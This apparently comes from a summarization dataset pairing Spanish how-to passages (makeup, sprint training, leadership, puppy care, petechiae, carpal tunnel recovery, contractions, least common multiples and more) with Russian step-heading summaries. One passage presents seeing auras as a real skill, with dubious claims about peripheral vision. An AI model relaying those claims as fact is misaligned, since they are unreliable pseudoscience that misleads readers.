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Готовьте сами. Получайте необходимые питательные вещества. Проконсультируйтесь со своим лечащим врачом. Читайте этикетки.


Una buena base contiene silicona, la cual permite “rellenar” la piel. No uses bases señaladas como luminosas u opacas, ya que se sabe que estas le dan una apariencia poco natural a la piel. En lugar de ello, elige una base señalada como “ligera” o “transparente”. Las bases ligeras harán que tu piel luzca más suave y radiante, sin tener la sensación de que estás usando una mascarilla.  Conoce tu tono de piel. Si la base es demasiado clara u oscura, lucirás como si estuvieras usando maquillaje, y el secreto para tener una piel de modelo es lucir como si no lo usaras. Para determinar cuál es la base adecuada para tu piel, prueba varios tonos en la parte interior de tu muñeca o en tu cuello, así podrás determinar el tono de tu tez.  Si tu piel tiene una coloración roja, deshazte de ella usando una base de color amarillo. Las modelos nunca lucen como si tuvieran maquillaje apelmazado en su rostro. Puedes evitar esta apariencia pastosa aplicando en tu rostro seis puntos de base del tamaño de una moneda pequeña. Para obtener resultados óptimos, aplícate dos puntos en la frente, uno en la punta y en cada lado de la nariz, y uno en el mentón. Debes incorporar bien esta base usando los dedos, así tendrás una apariencia natural. Si aún notas decoloraciones o puntos de acné en tu piel luego de aplicar la base, tendrás que concentrarte en estas áreas. Toma un corrector sólido y un pincel para corrector, y aplícate el maquillaje de manera directa en los puntos oscuros o en las imperfecciones. ¿Deseas tener la apariencia de una modelo bronceada sin tener que lidiar con los peligros que posan los rayos ultravioleta del sol? El maquillaje puede ser de utilidad para este propósito. Escoge un bronceador adecuado para tu tono de piel y que, como máximo, sea dos tonos más oscuro que el color de tu piel. Aplícate el bronceador en las áreas del rostro que se broncearían al exponerse al sol (como la nariz, la frente y las mejillas), e incorpóralo de manera uniforme en la piel cercana.

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Подберите подходящее тональное средство. Наносите небольшое количество тонального средства. Замаскируйте мелкие дефекты. Нанесите на лицо немного автозагара.


Una buena cuesta para correr debe ser bastante empinada y tener al menos 36 m (40 yardas) de largo. A menos que se te ocurra un lugar así (y con esa longitud), probablemente tendrás que conducir tu automóvil para visitar algunos lugares cercanos.  Si no tienes un automóvil, entonces puedes caminar por el área o tomar el autobús si hay uno disponible. Dependiendo de la cuesta que escojas, es probable que debas tener en cuenta el flujo del tráfico, la disponibilidad de aceras o arcenes (si vas a correr en una carretera), la iluminación, el follaje y la seguridad general del área en la que vas a correr. En cualquier actividad deportiva, es importante que estés al tanto de las condiciones y planifiques tu atuendo de manera adecuada, incluso si utilizas zapatillas para correr o para entrenamiento combinado. Debes trotar de 2 a 4 minutos en un área plana cerca de la cuesta. Sin embargo, si realmente lo prefieres, puedes trotar ligeramente hacia arriba y hacia abajo de la cuesta para preparar tu cuerpo para el entrenamiento de carreras cortas. Aunque vas a correr cuesta arriba, debes realizar estiramientos sobre un terreno plano para evitar cansarte demasiado. Los estiramientos dinámicos se realizan al caminar, por lo que pueden ayudarte a prevenir lesiones si realizas un número limitado antes de comenzar el entrenamiento. Intenta pasar entre 5 y 10 minutos estirándote antes de realizar las carreras cortas sobre la cuesta. Algunos estiramientos particularmente buenos para este tipo de entrenamiento son las elevaciones de rodillas, soldados de juguete y trotar en el lugar. Debes estirarte hasta que te sientas con energía y no fatigado. Puedes aumentar la intensidad con cada carrera, pero solo en aproximadamente un 10 %. Si eres nuevo en este tipo de entrenamiento, o no estás en buena forma, es probable que desees esperar hasta la tercera o cuarta sesión para completar tus carreras cortas. Si caminas cuesta abajo, le darás tiempo a tu cuerpo para recuperarse entre carreras. Si aún te sientes demasiado fatigado después...

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Найдите подходящую возвышенность. Побегайте для разогрева. Выполните динамические упражнения на растяжку на ровной местности. Вложите в первый спринт примерно 50–70 % своей энергии. Отдыхайте между спринтами. Будьте внимательны при выборе одежды. Не торопитесь делать выводы. Отдохните на ровной поверхности. Выполняйте 1–2 забега в неделю.


Una buena forma de darle a las piernas un incremento de longitud instantáneo y rápido es usar tacones altos. No sientas que es obligatorio usar inmediatamente los tacones más altos que encuentres, porque incluso los tacones bajos ayudarán. Procura usar los tacones más altos que puedas sin sentir incomodidad. ¡Que las piernas se te vean más largas no te ayudará para nada a aumentar tu autoestima o hacerte lucir más sexy si no puedes caminar con los tacones que usas! Elige zapatos que combinen con el color de las piernas. Esto hará que se vean más largas al crear una línea sin interrupción desde las piernas hasta los pies.  Usa zapatos que combinen con el color natural (color piel) de las piernas, ya sea que uses medias de nylon color piel o si no usas medias. Luce el pie desnudo con tacones color piel si usas jeans azules.  Si usas jeans ajustados negros o medias negras, usa tacones altos o botines negros. No tienes que usar exactamente el mismo color de zapato que las piernas para que se vean más largas. Con zapatos en un tono similar al resto del atuendo, puedes lograr el mismo efecto. Esto aplica específicamente a los colores oscuros. Con jeans ajustados negros podrías usar un par de botines de color marrón oscuro o azul marino, por ejemplo (¡no olvides que es mejor si son puntiagudos!). Sin embargo, si vas a hacerlo, ¡asegúrate de que los zapatos combinen con el resto del atuendo! Las correas interrumpirán la línea larga de las piernas y pueden hacer que se vean más cortas. Si usas correas en los tobillos, usa pantalones cortos o una minifalda para aumentar la longitud sin interrumpir de la pierna. Por otro lado, puedes usar zapatos con correa en los tobillos con jeans ajustados, siempre y cuando las correas estén en lo alto del tobillo y, por lo tanto, justo en el dobladillo de los jeans, para que no haya espacio entre ellos y la correa. Evita los zapatos con punta redonda o cuadrada, harán que las piernas se vean más cortas. Los zapatos puntiagudos favorecen y alargan las piernas cortas. Entre más del...

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Носите обувь на высоком каблуке. Подберите подходящую обувь. Проявите фантазию при выборе цвета. Избегайте обуви с ремешками на лодыжках. Носите обувь с заостренным носком. Носите обувь с открытой верхней частью. Носите обувь с V-образным вырезом на лодыжке. Попробуйте носить высокие сапоги.


Una buena idea para comenzar a desarrollar tus habilidades de liderazgo es imitar las cualidades de los grandes líderes, como ser un buen modelo. Dado que las personas admiran a los líderes, es muy importante ser un buen modelo o ejemplo.   Una buena regla general es actuar igual ante la presencia o ausencia de los observadores.  Pregúntate si sigues siendo la misma persona respetuosa, amable y honesta al estar a solas y al estar acompañado. Presta atención a lo que dices y cómo lo dices; las palabras de un líder tienen un gran impacto en las personas que lo rodean. Un aspecto muy importante a la hora de ser un modelo es inspirar a los demás. Las palabras y las acciones pueden causar inspiración o desmotivación. Ten esto en cuenta a medida que sigues con tu día habitual. Si bien no todos los líderes son simpáticos, la mayoría de las personas suelen identificarse y seguir a uno que tenga esta cualidad. Por más que creas que este rasgo no es parte de tu personalidad, puedes aprender a serlo a través de la forma en que conversas y te comportas con los demás.  Una de las formas de ser más simpático es demostrar respeto y educación durante las interacciones sociales. El lenguaje corporal desempeña un papel importante a la hora de ser más simpático o agradable. Recuerda sonreír y hacer contacto visual. Los demás serán mucho más simpáticos contigo al percibir que sonríes y los miras a los ojos cuando los saludas y cuando hablan. Uno de los factores cruciales de la simpatía es la capacidad de escuchar a los demás. Los mejores líderes reconocen que pueden aprender aún más al escuchar a quienes los rodean.  No tengas miedo de hacer muchas preguntas, pero recuerda escuchar las respuestas con atención. Demuestra interés al sonreír de manera alentadora, y haz preguntas de seguimiento. Evita usar dispositivos electrónicos durante las conversaciones. Los demás podrán percibir claramente que no estás prestando atención si usas tu teléfono durante una conversación. Recuerda que, si dominas la conversación, perderás la...

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Будьте примером для подражания. Научитесь привлекать людей и очаровывать их. Старайтесь больше слушать, чем говорить. Помните, что «по одежке встречают». Излучайте уверенность в себе. Наберитесь энтузиазма и позитива. Принимайте решения быстро и обдуманно.


Una buena manera de comenzar a ver auras es practicar sentirlas. Eso significa prestar atención a cómo te sientes en presencia de alguien. Respira profundamente, exhala y luego concéntrate en las sensaciones físicas en tu cuerpo y en tu reacción intuitiva. Pregúntate cómo te hace sentir estar cerca de esa persona: ¿sereno? ¿inquieto? ¿agitado? Piensa qué color le adjudicarías a esta persona. A medida que tus habilidades se desarrollen, sentir y ver auras te resultará más fácil. Nuestra visión periférica está menos dañada que la parte central de nuestra retina, y tiene células fotosensibles más sanas. Además, dado que con el correr de los años hemos entrenado nuestra visión central a acostumbrarse a ciertas maneras, puede resultar difícil recurrir a ella ahora para ver de la manera nueva requerida a fin de ver auras. Un ejercicio simple que puedes hacer es practicar concentrarte en un punto por entre 30 y 60 segundos, esto aumentará tu sensibilidad a la luz. Entrenar un poco con los colores primarios, brillantes, puede ayudarte a desarrollar la habilidad de ver auras. Cubre un libro en papel azul o rojo y páralo derecho sobre una mesa a varios centímetros (pies) de distancia. Asegúrate de que la pared detrás del libro sea blanca o neutra y de que la luz de la habitación sea suave pero no tenue. Cierra los ojos y respira profundamente varias veces, relájate y luego abre los ojos y mira el libro. No te enfoques en el libro, en su lugar mira un poco al costado y más allá de él. Después de un rato verás un aura pálida y angosta surgiendo del libro, que cambiará a un amarillo o verde brillante mientras sostienes un enfoque suave.  Cuando te sientas cómodo mirando a un libro, intenta cubrir varios libros con papeles de diferentes colores y mirarlos. A medida que mejores viendo colores, avanza usando plantas, animales y luego gente.     Está bien pestañear normal y rápidamente mientras haces este ejercicio. El aura puede desaparecer por un segundo cuando lo hagas, pero reaparecerá rápidamente si permaneces relajado y...

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Начните с ощущения. Развивайте свое периферийное зрение. Настройтесь на цвета. Научитесь видеть. Практикуйтесь на себе.


Una buena manera de empezar a acostumbrar al cachorro a tu persona es sentarte en el piso y colocarlo en tu regazo. Si no puedes sentarte en el piso, siéntate en una silla y coloca al cachorro en tu regazo. Trata de sostener el collar, de modo que no escape. Puedes colocar simplemente un dedo en el collar. Frótale la cabeza. Usa caricias suaves y delicadas por toda la cabeza del animal. Además, frota su pecho con cuidado. Otro buen punto para frotar es la base de las orejas.  También puedes hablarle con un tono de voz relajante y decirle que todo está bien, y que está a salvo y cómodo. Sigue acariciándolo y hablándole de forma tranquilizante hasta que se relaje por completo. Una vez que esté relajado, puedes colocarlo boca arriba, aún sobre tu regazo. Frótale el vientre con cuidado empleando movimientos circulares, y asegúrate de no hacerlo con demasiada fuerza. También puedes frotar el punto en el que los muslos se unen a la barriga.  Primero empieza con sesiones cortas de menos de cinco minutos. Haz que tu cachorro se acostumbre. Una vez que el cachorro pueda relajarse, aumenta cada vez más el tiempo que pase en tu regazo. Nunca lo obligues a echarse boca arriba. Si se retuerce, lo más probable es que esté incómodo. Si esto ocurre, deja que cambie de posición. No debes hacer que el cachorro solo socialice contigo. También tienes que socializarlo con otros miembros de la familia. Además, haz que todo el que visite la casa socialice con tu cachorro al cargarlo y sostenerlo por unos minutos.  Enséñales a tranquilizar al cachorro, de modo que se sienta seguro en los brazos de la persona. Si lo socializas con diversas personas, esto será de utilidad cuando lo saques en público, ya que será menos cauteloso con los desconocidos. Asimismo, esto lo ayudará cuando lo lleves al veterinario, ya que se acostumbrará a que los desconocidos lo tengan restringido. Si lo dejas en el suelo cuando forcejea, aprenderá que esta es la manera de lograr que lo bajes. Por lo tanto, si el cachorro forcejea durante una sesión de...

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Сядьте и возьмите щенка на колени. Успокойте щенка, почешите ему голову. Переверните его на спинку. Пусть щенка берут на руки и другие люди. Крепко держите щенка, даже если он вырывается. Пользуйтесь угощениями.


Una buena mujer tiene la capacidad de ser honesta consigo misma y con los demás. Ella tiende a ser la persona que dice la verdad en una situación difícil, de manera comprensiva. Una buena persona no juzga a los demás de inmediato o deliberadamente. Es probable que lo aprendas de una religión o de un sentido moral personal; tener una mente abierta y no hacer juicios apresurados te convertirán en una mujer ejemplar. Tener empatía te permite imaginar lo que otra persona siente durante una situación determinada. Las personas que son empáticas son más propensas a entender las emociones de la gente y a dar desinteresadamente. Una buena persona es así porque decide escoger no ser mala o perversa. Significa que conoce la diferencia y hace elecciones que favorecen un estilo de vida con principios. Una buena persona es respetuosa con los demás. El respeto, por lo general, es correspondido.

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Будьте честны. Не осуждайте. Стремитесь к сопереживанию. Верьте в нравственный ориентир. Проявляйте уважение.


Una buena persona trabaja duro para que una relación tenga éxito. Las generaciones pasadas consideraban que estos objetivos eran necesarios, pero las mujeres modernas también tienen una carrera, pertenecen a asociaciones comprometidas, tienen y participan en el voluntariado, por nombrar unos cuantos objetivos. Ser una buena mujer con los demás significa saber escuchar. Comprende que aunque algunas personas acudan a ti para buscar asesoramiento o consejo, otras pueden querer hablar y sentirse apoyadas. Si dedicas tu tiempo al voluntariado porque te sientes culpable, presionado por tus compañeros u otros miedos, quizá desees centrarte en tu propio bienestar hasta que tengas la fuerza suficiente para ayudar a los demás. Educar a los niños o ser un modelo a seguir es difícil, ya que, constantemente, tratas de ayudar a otros a no cometer errores. Muéstrales cómo tomar buenas decisiones a través de tus propias acciones.

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Принимайте вызовы в любых отношениях. Поймите, что больше не обязательно быть матерью или женой, чтобы быть хорошей женщиной. Слушайте людей. Занимайтесь волонтерством и давайте на благотворительность по правильным причинам. Старайтесь учить других собственным примером.


Una buena presentación no se debe improvisar. Pasa tiempo ensayándola antes de que la lleves a cabo. Depender de las notas en el escenario puede distraer a la audiencia. En vez de eso, asegúrate de saber las palabras y de que puedas decirlas sin problema. La presentación debe ser fluida y enérgica. Puedes practicar la presentación de varias maneras, como grabándote o diciéndola frente a personas que conozcas.  Si tienes miedo escénico, trata de recitar la presentación mientras te miras al espejo. Cuando te sientas cómodo, ensáyala enfrente de familiares y de amigos. Grabar la presentación es una manera simple de escucharte mientras estás solo. Reprodúcela de nuevo y trata de identificar las cosas que debas mejorar. Mientras esperes por el momento, pensarás en repasar la presentación nuevamente. Algunos ensayos son aceptables. Evita agotarte con los varios ensayos y con la memorización. Trata de ganar confianza con la practica y de mostrar entusiasmo con respecto al orador invitado. Esto impedirá que la presentación parezca practicada. Decir tu nombre y tu título es útil si alguien en la sala no te conoce. Mantén esta línea breve para que puedas hacer el resto de la presentación. Recuerda que tu trabajo es preparar el escenario para el orador invitado, así que no hay necesidad de una explicación larga acerca de quién eres. Si alguien te presentó previamente, puedes omitir este paso.  Di “Buenas tardes. Mi nombre es Alejandro Matos y soy el organizador de este evento”. Si todos te conocen, como en el caso de un profesor que presenta a un orador a la clase, no necesitas presentarte. Debido a que has practicado, estarás listo para recitar la presentación con entusiasmo. Mantén alto el nivel de energía. Párate derecho. Aumenta el nivel de energía a medida que lleves a cabo la presentación subiendo un poco el tono de voz y ganando autoridad. Recuerda cómo quieres que suene la presentación si estuvieras en la audiencia. Debes tratar de que la gente se sienta inspirada a prestar atención al orador invitado. Muchos...

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Потренируйтесь произносить речь. Не повторяйте текст слишком часто перед выходом на сцену. Не забудьте представиться. Говорите с энтузиазмом. Произносите слова громко и отчетливо. Начните аплодировать. Повернитесь к гостю, когда он выйдет на сцену. Пожмите друг другу руки.


Una búsqueda en Internet te ayudará a ubicar el club o la playa nudista más cercana. Una vez que estés a gusto estando desnudo en casa, toma el siguiente paso y visita una comunidad nudista. Asegúrate de conocer las reglas y expectativas de la comunidad antes de ir.  No dejes que los sentimientos de inferioridad te estorben. Una vez que vayas a una comunidad nudista, te darás cuenta de que todos son diferentes en alguna manera y que nada es malo. Los visitantes no están preocupados por sus cuerpo (ni el tuyo), solo están allí para disfrutar el placer del nudismo en un ambiente amigable. Algunas comunidades nudistas promueven el sexo. Analiza si es algo que quieres experimentar antes de ir. Participa en foros en línea. Estos pueden ser grandes recursos para quienes quieren hablar de la vida de un nudista e intercambiar información sobre buenos destinos para practicarlo. Francia es un excelente destino, famosa por sus playas nudistas. Si te parece muy lejos, cerca de casa podrás encontrar resorts de ropa opcional, aguas termales naturales para bañarse sin ropa y lugares especiales para andar desnudo. Averigua las leyes locales para hacer topless en público, incluidos los parques, las piscinas y la playa. Asimismo, puedes participar en uno de los circuitos de ciclismo nudistas que se llevan a cabo por todo el mundo. Ve desnudo donde sea apropiado, a hacer caminatas, a reservas naturales. Siéntete a gusto contigo mismo y procura practicar el nudismo siempre y cuando no afectes a los demás.

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Найдите нудистское общество. Возьмите каникулы в стиле нудистов. Продолжайте оставаться обнаженным когда это возможно.


Una cantidad pequeña de lavavajillas servirá. Abre el grifo y espera que el agua salga caliente. Déjala que seque completamente antes de usarla de nuevo con pintura al óleo. Colócala hacia abajo para que no quede agua atrapada en la cabeza de la brocha, lo cual puede causar que las cerdas se aflojen o que el mango se tuerza y se rompa. Esto es opcional, pero también puedes limpiar con aguarrás cada cierto tiempo para conseguir una limpieza más profunda.

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Налейте немного средства для мытья посуды на ладонь. Придайте щетине правильную форму.


Una característica que las personas usualmente notan de los hombres es que suelen parecer confiados y seguros de sí mismos en todas las circunstancias, incluso si es falso. Para que te veas más confiada:  Párate derecha, mantén la cabeza y el mentón en alto y mira hacia adelante y no al piso. Establece contacto visual con las personas. Habla lenta y claramente. No te muevas mucho. Ten los brazos a los costados en lugar de tenerlos cruzados frente a ti. En el trabajo, no tengas miedo de hablar si tienes una buena idea. Practica estas técnicas de confianza cuando hables con tus colegas de trabajo y jefes. Los chicos normalmente no huyen de las actividades físicas y los deportes, así que puedes actuar como un chico si participas también. Algunas de las actividades que tradicionalmente se asocian a los chicos son:  pescar mirar deportes montar bicicleta acampar y escalar Parece que los hombres están más dispuestos a correr riesgos cuando se trata de cosas como apuestas y actividades recreacionales, así que una parte de actuar como un chico implica, a veces, estar un poco más dispuesta a correr riesgos con los que no te sentirías cómoda de otra forma. Hacerlo podría implicar lo siguiente:  Decidir hacer algo que sepas que podría meterte en problemas con tus padres, como hacer bromas prácticas bien intencionadas sobre amigos y familiares. Solo ten cuidado de no hacer nada ilegal porque no es buen tipo de riesgo. Realizar actividades donde podrías resultar herida poniendo en riesgo tu vida, como montar patineta, bicicleta montañera o probar nuevas comidas extrañas. No tengas miedo de pedir algo que necesitas o quieres y sé específica sobre eso. Puedes hacerlo sin ser mandona o descortés si no pierdes los modales y dices frases como “por favor” y “gracias”. Puedes dejar en claro lo que necesitas:  Cuando estés en restaurantes. No dejes que otra persona haga el pedido por ti y sé específica con los meseros sobre lo que quieres. Por ejemplo, si quieres que la comida te llegue de un modo en específico, puedes decir:...

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Будьте уверены в себе. Занимайтесь физической активностью. Рискуйте. Четко озвучивайте свои потребности. Умейте отстаивать свои интересы.


Una causa de las petequias es hacer demasiado esfuerzo por un tiempo prolongado. Por ejemplo, un ataque de tos o un episodio muy emocional de llanto puede conducir a las petequias. También puedes contraer las petequias al vomitar o al levantar pesas. También es un síntoma común tenerlas después de haber dado a luz. Algunos medicamentos pueden ser la causa de las petequias. Por ejemplo, los anticoagulantes como la warfarina y la heparina pueden causar las petequias. De igual manera, los medicamentos de la familia del naproxeno, como Aleve, Anaprox y Naprosyn también pueden causar las petequias.  Algunas otros medicamentos que pueden causar las petequias incluyen la quinina, la penicilina, la nitrofurantoína, la carbamazepina, la desipramina, la indometacina y la atropina.  Si crees que alguno de tus medicamentos hace que tengas petequias, habla con tu doctor. Él puede evaluar si necesitas realmente ese medicamento o si puedes cambiarlo por algún otro. Las enfermedades infecciosas específicas también pueden conducir a este problema. La causa de las petequias puede ser desde una infección bacteriana hasta una infección fúngica, como la mononucleosis, la escarlatina, la amigdalitis estreptocócica o la meningococemia. Otras enfermedades también pueden causar las petequias (por ejemplo, la leucemia). También pueden ser el resultado de una deficiencia de vitamina C (también conocida como escorbuto) o de vitamina K. Vale la pena tomar en cuenta que algunos tratamientos, como la quimioterapia, también pueden ocasionar las petequias. La enfermedad hace que tengas problemas de coagulación. Esto es consecuencia de la disminución de plaquetas, las cuales se encuentran en la sangre. Esta enfermedad puede conducir a las petequias y a la púrpura, ya que las plaquetas generalmente cubren cualquier desgarro pequeño en los vasos sanguíneos. Cuando no tienes las plaquetas necesarias, tu sangre no puede reparar adecuadamente los vasos sanguíneos, lo que conduce a una hemorragia debajo de la piel. Eso puede hacer que aparezcan las...

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Подумайте, являются ли петехии следствием незначительных проблем. Проверьте лекарства, которые вы принимаете. Подумайте, нет ли у вас каких-либо инфекционных заболеваний. Подумайте о наличии других заболеваний или нехватке каких-либо веществ. Проверьте, не страдаете ли вы болезнью Верльгофа.


Una cirugía de liberación del túnel carpiano por lo general se realiza como un “procedimiento ambulatorio”, lo cual significa que te presentas durante el día, te hacen la cirugía y te envían a casa el mismo día. Es bastante raro que alguien tenga que quedarse de la noche a la mañana o sea admitido oficialmente para una estancia en el hospital para esta cirugía. Por lo tanto, a excepción de las complicaciones imprevistas, puedes esperar regresar a casa el mismo día. Por aproximadamente una semana después del procedimiento (o por el tiempo que tu cirujano lo recomiende), tendrás que usar un vendaje o una férula. La enfermera (o el cirujano) te la pondrá antes de salir del hospital. El propósito es mantener tu muñeca y mano apropiadamente alineadas durante las etapas de cicatrización inicial.  Es posible que tu médico te pida que regreses para una visita de seguimiento aproximadamente una semana después. En este momento, él evaluará tu sanación inicial, y lo más probable es que quite el vendaje o la férula. También te proporcionará instrucciones con respecto a qué esperar con el avance de tu recuperación. Los estudios que examinan el uso de hielo después de una cirugía han tenido resultados contradictorios, lo que significa que algunos pacientes notaron una diferencia en sus niveles de dolor mientras que otros no. Puedes aplicar hielo durante 10 a 20 minutos a la vez como una estrategia para aliviar el dolor en los días posteriores a la cirugía. Es posible que te ayude a controlar el dolor y también a disminuir la hinchazón (inflamación) en el área. Puedes empezar a tomar analgésicos de venta libre según sea necesario, como acetaminofén (Tylenol) o ibuprofeno (Advil). Sigue la dosificación en la botella o las instrucciones de tu médico. Para muchas personas, esto es suficiente. Sin embargo, si te das cuenta de que el dolor sigue molestándote e interfiere con tu funcionamiento diario, puedes hablar con tu médico para que te prescriba una receta de medicamentos contra el dolor más fuertes.  El dolor debe empezar a...

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После операции вас, скорее всего, отправят домой. После операции носите шину или лонгет. Прикладывайте лед, если необходимо. Подумайте над тем, чтобы принять обезболивающее. Узнайте, каких осложнений можно ожидать. Бросьте курить


Una compañía así aumentará tu nivel de sofisticación. No debes abandonar a todos tus amigos de un momento a otro sólo porque no son tan sofisticados como quieres que sean; sin embargo, debes trazarte el objetivo de estar rodeado(a) de gente más culta, interesante y de mente abierta para que puedas mejorar tu propio nivel de pensamiento.   Puedes conocer gente sofisticada en clubs literarios, lecturas de libros, aperturas de galerías y eventos, lecturas de poesía, conciertos u otro tipo de evento cultural. Ser una persona sofisticada quiere decir que debes guardar la compostura en público. No debes molestarte, alterarte, emocionarte, estresarte, ni mostrar ningún signo de debilidad cuando estés con gente a tu lado. Es bueno mostrarse débil de vez en cuando, por supuesto, pero debes buscar la fama de tener una personalidad sólida y serena.  Si notas que te estás enfadando en público, cierra tus ojos y respira profundo hasta que sientas volver a la normalidad. Es sofisticado beber una copa de vino blanco o vino rosado en tu terraza, no estar tambaleándote en un bar, tropezándote con las bancas y derramar la comida. Si quieres ser sofisticado(a) y tienes hábitos de tomar vergonzosos, entonces es tiempo de cambiarlos. La próxima vez que salgas, bebe únicamente uno o dos tragos, o toma hasta que estés ligeramente mareado(a), luego, para.  Si quieres que los demás crean que eres sofisticado(a), entonces tienen que tomarte en serio. Y nadie toma en serio a una persona que no puede controlarse con el licor. Si bien ser seguro(a) no es lo mismo a ser sofisticado(a), ambos son virtudes de gente que sabe lo que hace. Si eres sofisticado(a), significa que no eres inmaduro(a), inseguro(a), o en general tonto(a). Puedes demostrar tus habilidades al comportarte con una seguridad serena. Esto significa ser positivo(a), mostrar que amas lo que eres y lo que haces, y no recaer en la inseguridad.   Hay una diferencia entre ser seguro(a) de sí mismo(a) y ser fanfarrón(a). Puedes mostrar lo mucho que te amas sin hablar de la...

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Проводите время с утонченными людьми. Не теряйте самообладания. Не напивайтесь на публике. Излучайте уверенность и спокойствие. Относитесь к другим людям с уважением.


Una contracción se percibe como un estiramiento de los músculos en el área abdominal, especialmente cerca del bebé. Sin embargo, una contracción no siempre constituye un signo de parto prematuro, ya que puedes presentar contracciones falsas que se conocen como contracciones de Braxton Hicks.  Por lo general, las contracciones de Braxton Hicks son menos graves que las contracciones normales. Aunque las contracciones falsas pueden ser dolorosas a veces, las reales suelen presentarse acompañadas de más dolor y producirse en intervalos más frecuentes. De hecho, las contracciones reales se producen con mayor frecuencia a medida que pasa el tiempo.  Si presentas más de ocho contracciones en una hora o más de cuatro en 20 minutos, es probable que no se traten de contracciones falsas.  Si te preocupan las contracciones, no tengas miedo de contactar a tu médico. Este especialista puede determinar mejor si presentas contracciones falsas o normales. Estas contracciones falsas pueden activarse por una serie de actividades. Si tú o el bebé se han estado moviendo demasiado, esto puede provocarlas. También puedes experimentar una serie de contracciones después de tener relaciones sexuales o si te encuentras especialmente deshidratada. Por último, una vejiga llena o incluso una persona que está tocándote el estómago puede provocarte estas contracciones. Por lo tanto, si son leves y se presentan después de estas actividades, podrían tratarse simplemente de contracciones falsas en lugar de un trabajo de parto prematuro. Si las contracciones son falsas, van a disminuir con el paso del tiempo. Para acelerar este proceso, trata de cambiar la posición en la que te encuentras. Acuéstate si has estado moviéndote o haz lo contrario si has permanecido acostada. También puedes tratar de ingerir más líquidos o descansar más para ayudar a aliviar estas contracciones con el tiempo. Si comienzas a sentir presión en la parte inferior del abdomen, este podría ser un indicio de parto prematuro. También puedes sentir presión en el área...

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Схватки. Ознакомьтесь с факторами, способствующими схваткам Брэкстона-Хикса. Поспособствуйте ослаблению схваток Брэкстона-Хикса. Обратите внимание на давление в животе. Обратите внимание на спазмы в области живота. Обратите внимание на боль в спине. Присмотритесь к изменению прежних или появлению новых вагинальных выделений.


Una crisálida es una oruga que ha entrado en la etapa de pupa, la etapa en la cual atraviesa una transición y se convierte en una mariposa. Las crisálidas, por lo general, estarán adheridas a una varilla, ya que la mariposa necesita poder colgar cuando emerja. Durante esta etapa, tu trabajo es mantener el ambiente en el envase agradable y húmedo, de modo que las crisálidas no se sequen. Utiliza una botella rociadora para rociar el interior del envase cada cierto tiempo. La etapa de pupa dura varios meses y durante este tiempo no verás mucha actividad, pero ten la seguridad de que la pupa está viva y que eventualmente emergerá. Si capturaste las orugas durante otoño, deberán emerger a tiempo para la primavera. Si las crisálidas no están adheridas a la varilla o no cuelgan en una ubicación en la que las mariposas puedan estirarse, tendrás que moverlas a una mejor ubicación. Si las mariposas emergen demasiado cerca al fondo del envase o en una posición estrecha en la que no puedan colgar y estirar sus alas, sus alas no se formarán adecuadamente y no podrán volar.  Si una crisálida está en una varilla demasiado cerca al fondo del envase, puedes simplemente mover la varilla de modo que esté ubicada mejor. También puedes pegar con cinta adhesiva la parte inferior de la varilla a otra varilla para alargarla, si lo necesitas. La crisálida debe estar ubicada cerca a la parte superior del envase, colgando de la parte inferior la varilla en ese punto. Si la crisálida está adherida al fondo del envase, tienes que adherirla a una varilla. Utiliza una gota de pegamento caliente ligeramente enfriado para pegar un borde de la crisálida a la parte inferior de una varilla y luego coloca la varilla en una buena ubicación. Después de varios meses, las crisálidas comenzarán a tornarse oscuras o transparentes, lo cual es un indicador de que es momento que las mariposas bebés salgan. Solo toma unos cuantos segundos para que salgan y comiencen a estirar sus alas. Colgarán de la parte inferior de la varilla y moverán lentamente sus...

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Позаботьтесь о куколках. Убедитесь в том, что они расположены правильно. Наблюдайте за тем, как вылупливаются бабочки.


Una cuadrícula de tres por tres está hecha de dos líneas paralelas que se intersectan con otras dos líneas de forma perpendicular. Las líneas forman tres filas y tres columnas y la figura final se asemeja al botón de número (#) de un teléfono o teclado. Escribe el primer número en el cuadrado superior central de la cuadrícula. Escribe el segundo número en el cuadrado superior derecho de la cuadrícula. Por ejemplo, si tratas de encontrar el mínimo común múltiplo de 18 y 30, escribe 18 en la parte superior central de tu cuadrícula y 30 en la parte superior derecha. Escribe este número en el cuadrado superior izquierdo de tu cuadrícula. Es útil utilizar factores primos, pero no necesariamente tiene que ser así.  Por ejemplo, dado que 18 y 30 son números pares, sabrás que tienen el factor 2. Por lo tanto, escribe 2 en la parte superior izquierda de la cuadrícula. Escribe el cociente en el cuadrado que está debajo de cada número. Un cociente es la respuesta de una división.   Por ejemplo, 18÷2=9{\displaystyle 18\div 2=9}; por lo tanto, escribe 9 debajo de 18 en la cuadrícula.  30÷2=15{\displaystyle 30\div 2=15}; por lo tanto, escribe 15 debajo de 30 en la cuadrícula. Si no hay un factor común a ambos cocientes, puedes omitir este paso y el siguiente. Si hay un factor común, escríbelo en el cuadrado medio izquierdo de la cuadrícula.  Por ejemplo, 9 y 15 tienen el factor 3; por lo tanto, escribirías 3 en la parte media izquierda de la cuadrícula. Escribe el nuevo cociente debajo de los primeros.   Por ejemplo, 9÷3=3{\displaystyle 9\div 3=3}; por lo tanto, escribe 3 debajo de 9 en la cuadrícula.  15÷3=5{\displaystyle 15\div 3=5}; por lo tanto, escribe 5 debajo de 15 en la cuadrícula. Sigue este mismo proceso hasta que llegues a un punto en el que el último grupo de cocientes ya no tenga un factor común. Piensa en ello como si dibujaras una “L” para el “mínimo común múltiplo”. Escribe una multiplicación usando todos estos factores. Por ejemplo, dado que 2 y 3 están en la primera columna y que 3 y 5 están en la última...

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Нарисуйте сетку как для игры в крестики-нолики. Найдите делитель, общий для обоих чисел. Разделите каждое число на первый делитель. Найдите делитель, общий для обоих частных. Разделите каждое частное на второй делитель. Если нужно, дополните сетку дополнительными ячейками. Обведите кружками числа в первом столбце и последней строке сетки. Найдите результат умножения чисел.


